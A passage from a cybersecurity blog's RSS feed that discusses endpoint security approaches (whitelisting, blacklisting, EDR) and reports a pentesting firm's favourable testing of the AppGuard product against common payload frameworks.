&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTcZhxNGELH3O1JN7aBLC7K-VGC6TYJKUWgUEwDUyUW7QDA_gkMbuqEZ2ZCDn5VXHcqtANeJdLABxfQSm0rbb9OufdQqZR8RophfcVyypKuj6LHoE0ELDzpEauJnv9UIoplVlcy4kojca0/s1600/blog11.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;322&quot; data-original-width=&quot;976&quot; height=&quot;210&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTcZhxNGELH3O1JN7aBLC7K-VGC6TYJKUWgUEwDUyUW7QDA_gkMbuqEZ2ZCDn5VXHcqtANeJdLABxfQSm0rbb9OufdQqZR8RophfcVyypKuj6LHoE0ELDzpEauJnv9UIoplVlcy4kojca0/s640/blog11.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&amp;nbsp;GAME OVER!!&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;font-size: 11pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;Hope you enjoyed the walkthrough and the ride.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;Stick around for more posts&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;hr /&gt;
&lt;a href=&quot;http://savvygeektips.blogspot.com&gt;One Tip A Day Tech Blog&lt;/a&gt;&lt;/div&gt;</description><link>http://savvygeektips.blogspot.com/2020/03/tips-for-information-security.html</link><author>noreply@blogger.com (SavvyGeek)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/MaYkBdLtGD8/default.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2419284614709488194.post-2464402133401494993</guid><pubDate>Wed, 18 Mar 2020 23:15:00 +0000</pubDate><atom:updated>2021-11-20T17:05:23.978-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">cybersecurity</category><category domain="http://www.blogger.com/atom/ns#">pentesting</category><category domain="http://www.blogger.com/atom/ns#">security</category><title>Tips for an Information Security Analyst/Pentester career - Ep. 83 -Endpoint Security</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;ennote&quot;&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;a href=&quot;https://www.politoinc.com/contact-us&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; font-style: italic;&quot;&gt;&amp;nbsp;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; font-style: italic;&quot;&gt;&lt;b&gt;&lt;a href=&quot;https://www.politoinc.com/contact-us&quot; target=&quot;_blank&quot;&gt;CONTACT OUR TEAM AT POLITO, INC.&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; font-style: italic;&quot;&gt;Introduction&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;Organizations spend millions of dollars on cybersecurity solutions, yet breaches keep increasing. More alarmingly, headline breaches are only the ones that are public and reported, but there are many more that are neither detected, nor reported.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;For these reasons, different cybersecurity solutions, each one with their own twist, have been created and implemented. How do we know they work? How do they withstand against non-sophisticated and sophisticated attack techniques? Who asks these questions before implementation and who conducts testing of these solutions?&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;One of the last frontiers in information security is &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; font-weight: bold;&quot;&gt;Endpoint Detection and Response (EDR).&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; font-style: italic;&quot;&gt;&quot;Endpoint detection and response solutions record system activities and events taking place on endpoints and provide security teams with the visibility they need to uncover incidents that would otherwise remain invisible&quot; (Source: CrowdStrike).&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;Such solutions are inspired to famous ancient Chinese general Sun Tzu&#39;s saying:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1694DLWYazGbJTb0NmKIzfOJjVln5JsqJgWuhY3KNb1rj8m9gL-ymL3JpWzRpydFMApvwWF70xRC4ymRryrWTUlOiqIfsD-WEz-X_ddC5iw7a76hsxUfMGKzHCDwHTdE9ZPArNp5kqKRZ/s1600/afd3792fc6d611d4396fc4ad5519248a-743815.png&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYQA1YQz-11WMmubFalBFUUVCRsgzmpuQ3rxd9eQQQVq26R3NrY0E4vKAikydRF2lDk1Yo15ETKsOa5ZLs9fkSPZlsV04Jihyphenhyphenk2BLGdHocFY8VwUDEUykYOi_-LIxysn3e9U61TXGDwOpx/s1600/486f3693166a2149ba76df47eb4807ef-770167.png&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;298&quot; id=&quot;BLOGGER_PHOTO_ID_6805689948748539346&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYQA1YQz-11WMmubFalBFUUVCRsgzmpuQ3rxd9eQQQVq26R3NrY0E4vKAikydRF2lDk1Yo15ETKsOa5ZLs9fkSPZlsV04Jihyphenhyphenk2BLGdHocFY8VwUDEUykYOi_-LIxysn3e9U61TXGDwOpx/s640/486f3693166a2149ba76df47eb4807ef-770167.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; font-style: italic;&quot;&gt;Common Industry Solutions&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; font-style: italic;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #ffa400;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; font-weight: bold;&quot;&gt;Whitelisting&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: #ffa400;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; font-weight: bold;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;Whitelisting is based on the concept, &quot;let&#39;s allow only what&#39;s known to be good and block anything else&quot;. Only programs included in an allowed list (whitelist) can be installed and executed, while all the other ones will be blocked.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;Though this may be a good solution in some cases, it hides a serious flaw, as whitelisting is based on trust. Even though a well-known program (e.g. Adobe Reader) can be considered as a legit application for some specific users, it might have bugs and vulnerabilities that can be exploited.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;Whitelisting requires constant care and maintenance and implies a trade-off between users continuously requesting additional programs, and regular administrative monitoring for new and updated programs to allow or disallow.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #ffa400;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; font-weight: bold;&quot;&gt;Blacklisting&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;This is the exact opposite approach to whitelisting, based on so-called &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; font-style: italic;&quot;&gt;known bad&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;, that is blocking specific applications known to be malicious or to behave like malware. This concept would appear very promising but it fails to deliver in the long run. In fact, in specific environments, applications that would be normally considered as malware or have a malware-like behavior are indeed beneficial to an organization and are intended to work a certain way.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;If so, a blacklisting approach would be damaging to an organization, because it would block applications needed for its own functioning.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;An example of this scenario can be the Metasploit Framework.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;When run in a Windows environment, antivirus programs normally flag Metasploit as malicious and block it, unless specific exception rules are added. Now, if a company has an internal pentesting team, for example, a pure blacklisting approach would prevent testers from doing their job because it would block an application that, in the specific scenario, is legitimately used to benefit the organization.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;Another important limitation of the blacklisting approach is that it might not rise to the occasion when the malicious code is obfuscated through AV evasion tools, such as &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; font-weight: bold;&quot;&gt;XEncrypt&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt; and &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; font-weight: bold;&quot;&gt;Veil-Evasion&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;. For a more thorough analysis of this specific topic, check out the latest Polito Inc. corporate blog post:&lt;/span&gt; &lt;a href=&quot;https://www.politoinc.com/single-post/2020/03/02/Automated-Obfuscation-of-Windows-MalwareExploits-Using-O-LLVM&quot; style=&quot;font-family: &amp;quot;times new roman&amp;quot;, serif; font-size: 12pt;&quot;&gt;Automated Obfuscation of Windows Malware and Exploits Using O-LLVM.&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;span style=&quot;color: #ffa400;&quot;&gt; &lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;color: #ffa400;&quot;&gt;
&lt;/span&gt;&lt;div&gt;
&lt;/div&gt;&lt;span style=&quot;color: #ffa400;&quot;&gt;
&lt;/span&gt;&lt;div&gt;
&lt;span style=&quot;color: #ffa400;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; font-weight: bold;&quot;&gt;Endpoint Protection, Detection, and Response&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;Endpoint protection platforms (EPP) try to prevent malware from reaching the endpoint or executing on the endpoint. Endpoint detection and response (EDR) solutions detect attacks after the fact and then try to remediate the damage as quickly as possible. Both approaches can become part of the overall attack surface, as these tools might get disabled by an attack. They might also cause high rates of false positives, and a high missed detection rate.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #ffa400;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; font-weight: bold;&quot;&gt;Layered Defenses Get Compromised by Exploiting Users&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;Layered defenses—based on various cloud, network, and endpoint components— are only effective when the &quot;full stack&quot; is accessible to the device being protected. Sadly, many tools require forced-VPN solutions to function and provide limited or no defense for roaming laptops or remote workers, connecting to the corporate network from potentially insecure locations, such as hotels, airports, coffee shops and restaurants.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #ffa400;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; font-weight: bold;&quot;&gt;Failure of Common Cybersecurity Strategies&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;Detection-based defenses have repeatedly failed over the years due to multiple factors. These include improperly tuned tools and increasing number of kernel exploits, which have led to insufficient detection rates of attacks, successful attacks, and breaches. Additionally, malware has become more sophisticated and capable of evading a number of layered defenses proposed over the years (signatures, heuristics, sandboxing, artificial intelligence, predictive analytics, machine learning, neural networks) by implementing techniques like obfuscation, encoding, encryption, anti-forensics, etc. and making its code much less recognizable by detection-based solutions.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;All the above solutions have not addressed the main issues with detection: it is not very scalable at an enterprise level and malware only has to slip through defenses once for it to spread in a corporate network. The most important issues that remain unsolved by using detection-based solutions are:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;ol start=&quot;1&quot;&gt;
&lt;li style=&quot;mso-list: l1 level1 lfo1; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;There will always be software vulnerabilities, both known and unknown (0-days).&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;mso-list: l1 level1 lfo1; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;Malicious code and threats will always exist.&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;mso-list: l1 level1 lfo1; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;Attacker moves cannot always be predicted.&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;The real problem isn&#39;t &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; font-style: italic;&quot;&gt;whether&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt; but rather &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; font-style: italic;&quot;&gt;when&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt; an organization will get hacked. Preparedness to this regard is critical.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #ffa400;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; font-weight: bold;&quot;&gt;Application as Endpoint&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;Applications are often the attack vector used to hack a network, so an organization can harden its systems by preventing a compromised application from exploiting its hosts. Based on all the above considerations, it seems clear that endpoint security is best achieved by securing applications. The &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; font-style: italic;&quot;&gt;application-as-endpoint&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt; concept may provide a more effective solution. This concept is validated by the observation of the way bad actors operate. In fact, they don&#39;t target the operating system directly, but rather installed applications and browsers, by leveraging their vulnerabilities.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;Examples of application attack vectors include:&lt;/span&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li style=&quot;mso-list: l0 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;Malicious Office documents&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;mso-list: l0 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;Weaponized PDFs&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;mso-list: l0 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;Steganographic malware in image files&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;mso-list: l0 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;Fileless malware in web browsers&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;Polito Inc. pentesters have personally tested multiple EDR applications against different types of payloads and found&lt;/span&gt; &lt;a href=&quot;https://www.appguard.us/&quot; style=&quot;font-family: &amp;quot;times new roman&amp;quot;, serif; font-size: 12pt;&quot;&gt;AppGuard&lt;/a&gt; &lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;to stand out.&lt;/span&gt; &lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; font-weight: bold;&quot;&gt;AppGuard&lt;/span&gt; &lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;is a host-based software solution developed on the concepts of zero trust and application-as-endpoint, and functioning as a kernel driver on Windows platforms.&lt;/span&gt; &lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;AppGuard intercepts write access both to the computer&#39;s permanent storage (local hard disk, network shares, etc.) and to removable storage devices, such as USB drives and external disks. AppGuard also prevents Drive-By attacks by blocking suspicious programs run on user space.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;AppGuard enforces system and file integrity without complex management overheads, through a solid access control over the writing of executable files and user-defined files (protected files) to a computer. It protects against unauthorized modification and denies unauthorized write operations and block suspicious processes. The system administrator can tweak these settings and can add customized exclusions.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: #ffa400;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;color: #ffa400;&quot;&gt;
&lt;/span&gt;&lt;div&gt;
&lt;/div&gt;&lt;span style=&quot;color: #ffa400;&quot;&gt;
&lt;/span&gt;&lt;div&gt;&lt;span style=&quot;color: #ffa400;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; font-weight: bold;&quot;&gt;AppGuard was tested independently by Polito Inc.&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;on behalf of the company and the product did good when faced up with multiple attack vectors (PowerShell Empire, Magic Unicorn and Veil-Evasion payloads, obfuscated PowerShell payloads, fileless payloads, etc.), always preventing suspicious applications from writing to the registry altogether.&lt;/span&gt; &lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhk8cziNuxJhHS_BOKXlOO-krmrslcMblPJWB_LXssTHx_ldchUmHalNgGb2pq70mgsj0RcEb7xdPDwKPJL9lVxjtpgOyKNtvnzPcArh82HtfmNNEp8QRqbP-U79Gnj41a2c9n3EphGpC1q/s1600/c3a2ec752be2d53a33fd058667e663a0-747302.png&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGBCUABQK7vkePOqRwdUK0aRhyphenhyphenSX9IrVal7pK8koSUq3z-QA8C6xW7M8dbPtg1krEG5g9Pt1vSPtU84Ljq504Q8r3_bu8iAqCm8X6leu3ZOxNPAAhn6mSNgQRAH5ZRAQ7yOuL305gimjRR/s1600/f63f332219db91a8ceae10a9162f79ae-773058.png&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;194&quot; id=&quot;BLOGGER_PHOTO_ID_6805689956878636258&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGBCUABQK7vkePOqRwdUK0aRhyphenhyphenSX9IrVal7pK8koSUq3z-QA8C6xW7M8dbPtg1krEG5g9Pt1vSPtU84Ljq504Q8r3_bu8iAqCm8X6leu3ZOxNPAAhn6mSNgQRAH5ZRAQ7yOuL305gimjRR/s640/f63f332219db91a8ceae10a9162f79ae-773058.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJG0wU_aUI4u0D_yIox1Mz4qOD5n_tTcrA1y3psvVNrar1qIsu7ZQmX1ReMx_erzwYIxxSYaOkJLFLE3myJoFy64uzdJ9rBcMyYWWt3Aj6XuIYvwRQ2uo0wlOamRLD4bWQQ7a51uXu5IyP/s1600/00cbfcff65ac63045ce5e86d6d6e49e2-775157.png&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;400&quot; id=&quot;BLOGGER_PHOTO_ID_6805689972795587762&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJG0wU_aUI4u0D_yIox1Mz4qOD5n_tTcrA1y3psvVNrar1qIsu7ZQmX1ReMx_erzwYIxxSYaOkJLFLE3myJoFy64uzdJ9rBcMyYWWt3Aj6XuIYvwRQ2uo0wlOamRLD4bWQQ7a51uXu5IyP/s640/00cbfcff65ac63045ce5e86d6d6e49e2-775157.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;span style=&quot;text-align: center;&quot;&gt;Figure 1- VirusTotal report on obfuscated payload&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgo4-_99E5m3lvkVA6o-wwL9GjrH5GXvmg-pnz43epa6SNUYzOqRsWxcWzg0dGFcIPpKGfIp1p_dmVfMl_yHHVNf90IL-kkfc3ny3Dcchw0c2bPNCHkcvcq14BOxRJrthcraCNOQl08hKqC/s1600/5ba0bce61e56eb7be53c39c937cc2214-750373.png&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic5EbCdgTAXevm-FrpDelYgkkoayUzzxsuuh8k0DT7x2WPzZPqNQfKpTdMcQuOkPXmffSC-rmDGt0ZsdXCdbgqZALiwJvbNJNsCBGb0rSGl6mtPa87FxnEAqz9jYGxyNTwt1_D8_z2EoS3/s1600/e418c66f8b214584392fafe17be6d51d-778131.png&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;560&quot; id=&quot;BLOGGER_PHOTO_ID_6805689986680367922&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic5EbCdgTAXevm-FrpDelYgkkoayUzzxsuuh8k0DT7x2WPzZPqNQfKpTdMcQuOkPXmffSC-rmDGt0ZsdXCdbgqZALiwJvbNJNsCBGb0rSGl6mtPa87FxnEAqz9jYGxyNTwt1_D8_z2EoS3/s640/e418c66f8b214584392fafe17be6d51d-778131.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;AppGuard should be deployed on a newly installed &#39;clean&#39; operating system. From this secure initial state (baseline), it&#39;ll be easier to look at unauthorized and unwanted activities on the system. Upon installation, AppGuard activates Insider-Threat defense mode by default, which is primarily a defense against reverse shell access to the endpoint. In this mode, only Browsers are allowed to have access to the Internet.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;This behavior can be customized with the Enterprise version, where companies have the option to apply their specific security policies inside AppGuard.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
